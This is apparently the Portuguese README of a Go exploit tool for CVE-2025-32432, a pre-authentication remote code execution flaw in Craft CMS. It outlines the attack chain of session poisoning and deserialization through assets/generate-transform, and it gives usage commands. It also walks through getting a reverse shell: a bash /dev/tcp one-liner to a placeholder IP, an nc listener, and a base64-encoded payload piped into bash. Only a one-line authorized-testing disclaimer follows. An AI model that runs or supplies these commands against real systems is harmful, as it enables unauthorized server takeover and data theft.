CVE-2025-32432 — Craft CMS Pre-Auth RCE

Exploit para execução remota de código sem autenticação no Craft CMS, escrito em Go.
Inspirado no trabalho original de c0gnit00.

Como funciona

1. Obtém a sessão PHP e o CSRF token via GET /admin/login
2. Envenena o arquivo de sessão PHP injetando código PHP na query string
3. Dispara a desserialização via assets/generate-transform para incluir e executar o arquivo envenenado

Uso

go run main.go -u <url> -c <comando> 

Flag	Descrição	Obrigatório
-u	URL alvo (ex: http://target.com)	Sim
-c	Comando a executar (ex: id, whoami)	Sim

Exemplo

# Sem Asset ID (brute-force automático)
go run main.go -u http://target.com -c whoami

Reverse Shell

1. Gere o payload em base64 com seu IP e porta:

echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64

2. Abra o listener:

nc -lvnp 4444

3. Execute o exploit com o payload:

go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"

Substitua o valor em base64 pelo gerado no passo 1 com o seu IP real.

Aviso

Para uso exclusivo em ambientes autorizados e testes de segurança controlados.